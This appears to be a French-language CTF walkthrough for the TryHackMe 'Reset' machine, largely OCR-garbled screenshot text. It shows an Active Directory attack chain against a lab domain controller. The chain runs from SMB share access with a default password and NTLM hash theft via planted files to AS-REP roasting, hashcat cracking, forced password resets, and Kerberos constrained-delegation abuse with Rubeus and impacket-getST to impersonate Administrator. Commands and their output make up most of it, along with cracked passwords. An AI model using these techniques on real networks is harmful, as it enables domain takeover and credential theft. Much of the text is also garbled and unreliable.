Reset

mardi 7 octobre 2025 15:36

Find all the flags!

sudo nmap -sVC -p- -Pn 10.10.23.241 --open
[sudo] Mot de passe de alice :
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-07 15:41 CEST
Nmap scan report for 10.10.23.241
Host is up (0.037s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT  STATESERVICE  VERSION
53/tcp  open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-07 13:51:232)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
389/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site:
Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open Idap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site:
Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| _ssl-date: 2025-10-07T13:52:51+00:00; -34s from scanner time.
rdp-ntim-info:
Target_Name: THM
NetBIOS_Domain_Name: THM
NetBIOS_Computer_Name: HAYSTACK
DNS_Domain_Name: thm.corp
DNS_Computer_Name: HayStack.thm.corp
DNS_Tree_Name: thm.corp
Product_Version: 10.0.17763
_ System_Time: 2025-10-07T13:52:11+00:00
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2025-10-06T13:36:34
| _Not valid after: 2026-04-07T13:36:34
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| _http-server-header: Microsoft-HTTPAPI/2.0
| _http-title: Not Found
7680/tcp open pando-pub?
9389/tcp open mc-nmf .NET Message Framing
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http  Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49702/tcp open msrpc Microsoft Windows RPC
50319/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:

| 3:1:1:

|_ Message signing enabled and required

| smb2-time:

| date: 2025-10-07T13:52:12

|_ start_date: N/A

| _clock-skew: mean: -33s, deviation: Os, median: -34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 686.53 seconds
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~/Bureau/THM/CTF/Reset

Starting Nmap 7.95 ( https
Nmap scan report for 10.10
Host up (0.11 .
Not shown: 987 f . tcp p

STATE

open

open

open

open netbios-ssn

open ldap

latenc

mainFunctionality:
forestFunctionality
ControllerFunct
otDomainNam
LE]

orts (no-response)

VERSION

Simple DNS Plus

Microsoft Window ver time:
Microsoft Windo

Microsoft Windows netbios-ssn

Microsoft Windows Active Dir Domain: thm.

fonality:
im, =corp
aystack$aTHM. CO

tedSASLMechanisms: GSS-SPNEGO

tedSASLM

pportedLDAPVersio

portedLDAPPolicies:

1c1le
tedLDAPPolicie
ortedLDAPPolicies
tedLDAPPolici

hanisms

MaxPoolThreads
MaxPercentDirSyncRequ

axConnections
MaxConnIdleTime

supportedLDAPPolicies:

rtedLDAPPolici
pportedLDAPPolicie

supportedLDAPPolicies:

tedLDAPPolicies

tedLDAPPolicies:

rtedLDAPPolicie
upportedLDAPPolicie
p tedLDAPPolici

pportedLDAPPolicies:

JAPPolic

On voit un haystack

MaxResult
MinResultSets
MaxResultSetsPe
MaxNotificationPerC
MaxValRange
Transitive
imit
itPercent

~/Bureau/THM,

/10/07
10/07

Using
10.10

2025/10/07

thm.corp user

Ronnie Flath

KDC(

(1 valid) in @.032

~/Bureau/THM/CTF/Reset

Password for [WORKGROUP

ADMI
cs
Data
IPC$
NETLOGON
SYSvol

ng with

to 10.1

smb: \onboarding\> get *
TUS_ ECT_NAME_INVALID

\onboarding\>

Remote Admin
Default sha

Logon

Logon share
0.23. Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
ilable

opening D file \onbc

Jul
Jul
Aug
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17:25:14
- ) e 0 7 125:14

nd2bpb 59 J 7 09

so5em .nha Mon Aug 20:21:59 2
yibuxftl.} Mon Jul 10:11

5399 blocks available

0 Tue
Tue Oct
Mon Aug
Mon Jul
Mon Jul

P *~/Burcau/THM/CTF/Reset/vuqSaS5u.oga.txt - Mousepad

Fichier Editer Rechercher Affichage Document Aide

BRBABE x Hc O a&n

1 Subject: Welcome to Reset - Dear <USER>,Welcome aboard!

2 We are thrilled to have you join our team.

3 As discussed during the hiring process, we are sending you the necessary login information to access your company account.
4 Please keep this information confidential and do not share it with anyone.

5[the initial passowrd is: ResetMe123!We are confident that you will contribute significantly to our continued success.

6 We look forward to working with you and wish you the very best in your new role.

7 Best regards,The Reset Team

ResetMe123!
ON ARRIVE PAS A SE CONNECTER AVEC

n

Size HE. 2 » Tue Oct
Modification Date/Time - 7:25: H hasettmx.e5n.pdf 3 Mon
Access Dat ime 2 inxsidio.yfj. Mon
Inode Change Date/Time i 26 197 :25¢ 02: y! 4 Mon
Permissions :
Type H 363807 blocks of
Type Extension f smb: \onboarding put exploit.url
applicatio q putting file exploit.url as \onboardin
. smb: \onboarding
No
Objects in xref table (5 dictionary Size -
exploit.url
hasettmx.e5n.p 303
inxsld j.tx § on Aug
y4d23 .b 4700896 Mon Jul

size 4096. 3024272 blocks av

~/Bureau/THM/CTF/Reset
ethe

Poisoners:
LLMNR
NBT-NS
MDNS

DNS

Ca ne fonctionne pas donc on va utiliser ntim_theft : (je pense que c'est parce que j'ai mis ethO et
pas tun0)

venv/bin/activate

~/Bureau/THM,
install xlsxwriter
llecting xlsxwriter
Downloading xlsxwriter-3 9-py3-none-any.whl.metadata (2
Downloading xlsxwriter-3.2.9-py3-none-any.whl (175 kB)
Installing collected packa : xlsxwriter
Succes installed xlsxwriter-3.2.9

pyth
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ntlm_theft.py all 10.1
ce/Bureau/THM/CTF/Reset/ntlm_theft : SyntaxWarni

ms-word:ofelul} rve ak.docx’;
/test.scf (BROWSE
/test-(url).ur

DESKTOP WITH CHRC - OR EDGE)

(OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
).docx (0O
) .docx

cx (OPEN)
1).x1sx (OPEN)

MEDIA PLAYER ONLY)

OPEN)
ation (DOWNLOAD AND OPEN)
OPEN AND AL
jzoom-attack-ins yctions. ( E TO CHAT
/-ms (BROWSE

p.ini (BROWSE TO FOLDE
.theme (THEME TO INSTALL

AUTOMATE 1 4497ef5aa942f1d1d790
000000000 ) 3 5a@ 001e00570049004
D2 005b005700380 00440049005200
4 510052002 24 fRO430041004¢
04000200000008003000300000000000000001000000002000002
0000000000000000000000000090024004
00¢ Pas

AUTOMATE:PasswOrd1

~/Bureau/THM/CTF/Reset

.10.23.2 AUTOMAT

thm\automate

Documents> [

omate\desktop>

utomate\desktop

LastwWriteTime

Feedback.websi
rosoft Windows Guide.website

\desktop> cat user.txt

Description

Add
Bypas
Increase
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User accounts for

30917314105A

Administrator

AUTOMATE CE
RISTINA_MCCORMICK

DANIEL_CHRISTENSEN

ELLIO

Guest

JULTANNE_H

ANDY_BLACKWELL
TLE_WONG

MARION_C
MORGAN_SELLERS
ROSLYN_MATHIS
TABATHA RITT
TREVOR

The command completed with one or

ULLINS
iy EAD

DEANNE SHINGTON

ANNY _ALL
HOWARD _PA(
LEANN_L
LINDSAY_SCHULTZ
MICHEL_ROBINSON
RAQUEL_BENS
SHAWNA _BRAY
TED_JACOBSON

~/Bureau/THM/CTF/Reset

automate

user
LDAP
domains
Found 1 domains i
Found 1 compu

LEGACY

Connecting to GC LDAP server:

Co tin

MembeOt
AUGUSTA_HAMILTONGTHM CORP

MemberOt
@vmun,nmuw&_,m) 2
“woss AbesOf

MemberOt

MambaeOt

MemberOf

MomberOf

ATHM. CORP

THM CORP nPSRemote

sudo impacket-GetNPUsers thm.corp/ -usersfile user -dc-ip 10.10.23.241

LDAP server:

1 thm.corp

oodHound 4.2 and

PROTECTED USERS

TREVOR_MELTON@THM CORP

®
@
)
@

LILY_ONEILLETHM CORP &b
MemberOf
P——

»
MARCELIND_BALLARDETHM CORP

MamberOf

THM CORP

&

TERPRISE ADMINS@THM.CORP

@l-m:‘;\:‘x THM.CORP  DCSync
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ADMINISTRATORSE THM.CORP

GenercAl

Gery
ACCOUNT OPERAT

WineDwer

WriteDax

(THM CORP) §-1-5-21-1966530601-318551

210604624 -‘wj

THM.CORP

@ THM.CORP Contans @ ADMIN@THM CORP



~/Bureau/THM/CTF/Reset
thm.corp/ user 10.10.23.241
.devd - Copyright Fortra, LLC and its affiliated companies

ave UF_DONT VEL'.IR" PREAUTH
rp do t U DONT_REQUIRE_PRE
doesn’t have UF_DONT_REQUIRE_PREAUTH
‘t have UF_DONT_REQUIRE_PREA
"t hav _DONT_REQUIRE_PREAUTH s
have UF_DONT_REQUIRE_PREAUTH
LACKWELL doesn't have NT_REQUIRE_PRE
TA_HAMILTON dc > F UF_DONT_REQUIRE_PREAUTH
AUTOMATE doesn’t h. T PREAUTH set
 CECILE_WONG uuw,n‘t have UF *
YL_MULLINS doesn't have UF_DONT_REQUIRE_PR
ORMICK d ‘'t ha F_DONT_REC
sn't have UF_DONT_REQUIRE_PREAL t
CYRUS_WHITEHEAD r UF_DONT_REQUIRE_PREAUTH set
r DANIEL_CHRISTENSEN doesn' \ 2 2 RE_PREAUTH set
DARLA_WINTERS doesn’'t
r DEANNE_WASHINGTON doesn
ELLIOT V,N-‘«RL‘\ d:
89b5bece27
3a1529f48
b951b4ssL3feTfdeec

2af30a7
[-] User FANNY_AL 7 PREAUTH
[-] User Guest ‘t have UF DHNT muunr PRFAIHN set
[-] User HORACE_BOYLE dc 3 _DONT_REQUIRE_PREAUTH se
[-] User HOWARD_PAGE doe 't have UF_DONT_REQUIRE_PREAUTH set
JULTANNE_HOW 't hav HI» DONT_REQUIRE_PREAUTH s
ERR_CLIENT_REVOKED(Clients

a95c4cclasi
das4def3l
0
LUH& MAYO do e UF_DONT_REQUIRE_PREAUTH s
Kerberos SessionEr K ERR_CLIENT_REVOKED(Clients credentials have been revoked)
Jser LINDSAY_SC n't have UF_DONT_REQUIRE_PREAUTH set
MA ,INO BAL LA\Q doesn’'t have UF_DONT_REQUIRE_PREAUTH set
* MARION_CLAY doesn't have UF_DONT_REQUIRE_PREAUTH set
MICHEL _ROBINSON d sn“t hay EQUIRE_PREAUTH set
MITCHELL_SHAW doesn‘'t have UF_DONT_REQUIRE_PREAUTH set
MORGAN_SELLERS doesn’'t have UF_DONT_REQUIRE_PREAUTH
RAQUEL_BENSON doesn't have UF_DONT_REQL

4$47008ea189b5bece2769
0121
49d959822d67 37¢5 7 ad8a32bde e 342e16a4e7b951b444 h—’fuw—( b7
bacifbbled 3d573305 ﬂdLDS 6dd7 6ff197acacdc 51c
flea7ff81f7dfaea2
N doesn’'t have UF_DONT_REQUIRE_PREAUTH set
Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
_BOYLE doesn't have UF_DONT_ JIRE_PREAUTH set
* HOWARD_P. 't have UF_DON QUIRE_PREAUTH set
r JULIANNE ¢ ave UF_ IRE_PREAU
& KDC_ERR

UF_DONT_REQUIRE_PREAUTH
nError: C_ERR_CLIENT_REVOKED 5 crede als been revoked)
LTZ doesn UF_DONT_ F‘Fnll
LLARD do
du»-au t have UF F" VnEAUTH
SON d UF_ DOP" _REQUIRE_PRE/
MITCHELL_S d X UF_DONT_REQUIRE_PREAUT
MORGAN sn ' e UF_DONT_REQUIRE_PREAUTH
RAQUEL _ SON UF_DONT_REQUIRE_PREAUTH
RICO_PEARSON doesn't have UF INT_REC ‘IILRF _PREAUTH
' ROSLYN_MAT
RAY doesn’'t have UF;
»'«RT SANTANA n‘'t hav
3$TABATHA_BRITTQTHM. CORP: Bf2a5 1 2 'A.H.;/lt.r‘d 3e6c2 wmu%m ‘i‘?ll‘m
40ae437aaabaaal’670 3 2
49e16af25c6d

6¢
©3082b54acd87dchbbb 4743befBc2fd1037452b

_PREAUTH set

sudo hashcat -m 18200 hash_kerberos /usr/share/wordlists/rockyou.txt.gz -r
/usr/share/hashcat/rules/best64.rule --force

asrepha t --wordlis r/share/wordlists/rockyou. txt
Using d aul | t encoding: UT
ash (krbSasrep, Kerberos REP etype 23
hread

o abort almost any

0.11¢ s 686445p/s 6 686 @ markuslover22

f » cracked

Y = ~/T/reset

marlboro(1985) : TABATHA_BRITT@THM.CORP
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RAQUEL_BENSON@THM.CORP

TEST@THM.CORP
GenericAll

; SHAWNA_BRAY@THM.CORP

GenericAll GenericAll

TABATHA_BRITT@THM.CORP

0 MemberOf GenericAll
AN-173-DISTLIST1@THM.CORP

GenericAll

DEVICES@THM.CORP

SERVICEACCOUNTS@THM.CORP
GenericAll
MemberOf

GROUPS@THM.CORP

@)
@)
@
@)

WriteQwner
@ RAS AND IAS SERVERS@THM.CORP RAS AND IAS SERVERS ACCESS CHE
WriteDacl

MemberOf
TREVOR_MELTON@THM.CORP

Ge; !

Q N )
@ CHRISTINA_MCCORMICK@THM.CORP \berOf @ ACCOUNT OPERATORS!

MemberOf

MICHEL_ROBINSON@THM .CORP .
MemberOf ADMINISTRATORS@THI

MemberOf

, DOMAIN ADMINS@THM.CORP

CanaricAll

Tabattha --> generic all --> shawna --> force change password --> Cruz -->
force change password --> darla --> AllowedToDelegate -->
Haystack.thm.corp

SHAWNA_BRAY@THM.CORP

net rpc password "SHAWNA_BRAY" "cacal23**" -U
"THM.CORP"/"TABATHA_BRITT"%"marlboro(1985)" -S "HayStack.thm.corp"

~/Bureau/THM/CTF/Reset

password d

CRUZ_HALL

" Please wait for THM\automate to respond.

https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-
kerberos-constrained-delegation

https://bloodhound.specterops.io/resources/edges/allowed -to-delegate

https://medium.com/r3d-buck3t/attacking-kerberos-constrained-delegations-4a0eddc5bb13
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»

— Object Information

Node Type: Computer
Tier Zero: TRUE

Object ID:  5-1-5-21-1966530601-3185510712-10604624-1008

ACL Inheritance Denied: FALSE
Allows Unconstrained Delegation: TRUE
Created: 2023-06-12 16:26 GMT+2 (GMT+0200)
Distinguished Name:

CNTHAVSTACK,OUTDOMAINg—/
CONTROLLERS,DC=THM,DC=CORP

Admin Count: FALSE
Allowedtodelegate: cifs/HayStack.thm.corp/thm.corp)

TS T T P

cifs/HayStack.thm.corp/thm.corp

# ticket is the base64 ticket we get with ‘rubeus's tgtdeleg’

Rubeus.exe s4u
/ticket:dolFCDCCBQSgAWIBBaEDAGEW00IEDjCCBAphggQGMIIEAGADAGEF0Q8bDUIGRKVOUOUUTES
DQUYiljAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9IGRKVOUOUUTEIDQUYjggPEMIIDWKADAGESOQMCAQ
KiggOyBIIDro3ZCHDaVettnlseuyFIMK+14GAtWVAHPAG02cnHmMOs3R2KcrOWpf3YbtnTD7fB+rkKdZ8aE
IgloJO+v4XVM2NgyOVIiaOMzNToDrK1ynhC70aApbag+ykvUFTDeGINJhE3TVk3
+F99vWhoy6hhc9AMRUIJWHFuqLC4djtL2PtQSpgWWL4A2W5eONIIZke5XKOkWKC/AvivuuPOHs9aEy3g3
8hoBeApZESNGT7mGKz5IHLWV5TyUgo87s6fFVSn8LHK8CI6GOx2DRhxxu04g0gnRXhLI5SOMyJglj6YDV
ESvCUgep5MXR+0YpOEGAVP8qQJK+x6m4rmr0Y3nd1Kimc+xDnLSC11ay718VevghCBCZ64c+HQow4qc
MTa/agxyOXqK42ynUIOGJtrLV7nlirp+)2e5PECDUXIJKFkGnp6HZDNfzYAGL3XxyyT2)YdneOS3VUzJQyEc
tjuQMdVAOWB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzZHUESdgHjvhjPSwgAkh
S/QNApxtWvyba8iwCSnyualuhK46LS0pkt111QTOY+qw800L6mzjD+rxfKgRABINIEIMwWIZTTSrIRNMjWE
y78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRML
TAvk16PQW3z9NHix2109sObH8cb7gVrB+u2Q545Qwekl0uwPSmCar6swU20EkxBm5DZvLsbZTcGl+Kz
Gxqq/zhEJm3EceLuwl|Y81z8aYul3c6AsYETs9VevdEVysylpNL7EcHU8iIXsoE5ImLx70rcPROWfeFWxRDp
+1CVDijOI5VOS51
+JpkEveXFmfZueqlLTI66VGIgQaP7A3B//YA0ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMIXwEX+yVFB5b
PYgoszr3Crjsvs6Q/vdr36NoWql9/11Nurzeeknt+k8sUV26URNQVkecW4yJFQ2TZwYCJ1k9h4cr96csI9H
hJO46UBYye/80qlqIXKnYY3JpaZiXWK77kG7BghM60PI+oEIbX2ycj/gHesxREVP7/vYINK33KbOSXXTAI3Je
3wbZP7N+3B9Lz04m8Xi6nGelVsZiMyODpnJVX5Bgq+
3cGaStyOv+fifgMHDwuKhOS7h1MGUduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfU
enJ+EnrigkYee60B5TCB4gADAgEAooHaBIHXfYHUMIHROIHOMIHLMIHIoCswKaADAGESOSIEIN2)DvcjQ
ZeMR+
7giMsawE1vG/Cmw9IFIV7ZYwaELMgaoQ8bDU9GRkVOUOUUTEIDQUYIETAPOAMCAQGhCDAGGWRzC
G900wcDBQBgoQAAPREYDzIWMTkwODE3MTMyMDU2WGYRGA8yMDE5MDgxNzIzMDYOMFgnERgP
MjAxOTA4MjQxMzA2NDBagA8bDUIGRKVOUOUUTESDQUYpIjAgoAMCAQKhGTAXGwZrecm)0Z3QbDU
9GRkVOUOUUTE9DQUw= /impersonateuser:administrator /domain:offense.local
/msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt

Trop galére avec rubeus donc on va utiliser linux directement:

impacket-getST -spn cifs/HayStack.thm.corp -dc-ip 10.10.200.9 -impersonate Administrator
thm.corp/DARLA_WINTERS:'newP@ssword2022'

On va faire |'attasque de unconstrained deleguatioon

~/Bureau/THM/CTF/Reset
t

cifs/HayStack.thm. 10.10. p.
3.0.devO Copyright Fortra, LLC filiated companies

ting S4U2Proxy

LA_WINTERS:

; ticket in Administrator@cifs

Ensuite on exporte le fichier :

export KRB5CCNAME=Administrator.ccache

Ensuite on peut dumper le SAM :
impacket-secretsdump -k -no-pass HayStack.thm.corp

Le secret dump ne fonctionne pas pour moi donc je fais une autre technique :

Bref ici ce qu'on fait c'est qu'on va créer un ticket

Darla Williams have (allowed to delegate) special permissions on HAYSTACK.THM.CORP which is our
targets endpoint.

So we can impersonate the user administrator in that target host endpoint, will use impacket -getST
to impersonate as an administrator.
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administrate

right Fortra, LLC and its affiliated companies

sword

file is not found. Skipping ...

ting TGT for use
Impersonating administrator

Requesting S4U2self

Requesting S4U2Proxy

Saving ticket in administratordcifs_} stack,.thm.corp@THM.CORP.ccache

~/Bureau/THM/CTF/Reset
cgpkuqdi.jsg.pdf hash_ker
h_ntlm

P ache exploit.url
kerbrute_linux_amd64

s_HayStack.thm.
GetUserSPN

Administratoracifs
storun. inf hash_asrep

~/Bureau/THM/CTF/Reset

NAME=Adminis fs yStack.thm.corp@THM.CORP.ccache

~/Bureau/THM/CTF/Reset
administra
mpacket Copyright Fortra, LLC and i
SMBv dialect used
Launching semi-interactive shell - Careful what you execute

help fo tra shell commands

inistrator>cd
istrator)
ume in drive C ha

ylume Serial Number is ASA4-C

Guide.v

File(s)
Dir(s)

i at sktop>type
SET_AND_DELEGATE}
\users\Ad: istrato

Ethop !
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